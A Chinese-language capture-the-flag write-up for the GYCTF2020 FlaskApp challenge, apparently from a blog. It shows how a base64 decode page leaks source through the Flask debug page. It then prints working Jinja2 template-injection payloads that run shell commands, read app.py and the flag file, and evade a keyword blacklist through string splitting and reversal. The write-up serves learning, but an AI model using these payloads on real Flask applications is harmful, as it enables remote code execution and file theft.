[GYCTF2020]FlaskApp(SSTI)

进入题目:
在这里插入图片描述
是一个用flask写的一个base64加解密应用。有一个加密页面和解密页面,思路应该是在加密页面输入payload进行加密,加密结果在解密页面进行解密,输出解密后的payload被渲染到页面输出后执行了payload。

官方write up说看到根据hint1,失败乃成功之母,应该能想到flask的debug模式。但是我当时看到的时候并没有想到是debug模式,这就是没有进行足够积累的后果。
在这里插入图片描述
base64decode在不会解析的时候就会报错,然后习惯性对base64解密页面进行报错实验,base64解密界面随意输入字符串,导致解码报错,进入Debug页面,发现了部分源码。
在这里插入图片描述
在这里插入图片描述
有关解密的关键代码如下:

获取我们传的text参数,进行解密,如果可以过waf则执行代码。

@app.route('/decode',methods=['POST','GET'])
def decode():
	if request.values.get('text') :
		text = request.values.get("text")
		text_decode = base64.b64decode(text.encode())
		tmp = "结果 : {0}".format(text_decode.decode())
		if waf(tmp) :
			flash("no no no !!")
			return redirect(url_for('decode'))
		res =  render_template_string(tmp)    # 模板渲染

所以可以使用ssti注入。我们简单试一试:
加密页面:
在这里插入图片描述
解密:
在这里插入图片描述
发现确实存在ssti注入。
直接执行命令:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
// 查看根目录

在这里插入图片描述
我靠!!!发现不行,
所以要思索一下app.py里的那个waf()函数他是不是过滤了什么。
读源码:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}

在python3下已经没有file了,所以是直接用open。
在这里插入图片描述
waf函数发现了过滤
原来是flag和os等被过滤。
在这里插入图片描述

def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1

那么我们可以利用字符串拼接找目录与执行命令。
扫描根目录/:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表。
在这里插入图片描述
发现了this_is_the_flag.txt
读取this_is_the_flag.txt:
由于waf过滤了flag,所以我们对“flag”进行拼接:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

得到flag:
在这里插入图片描述
也可使用切片的形式,省去了拼接"flag"的步骤

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

[::-1]来进行倒置。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值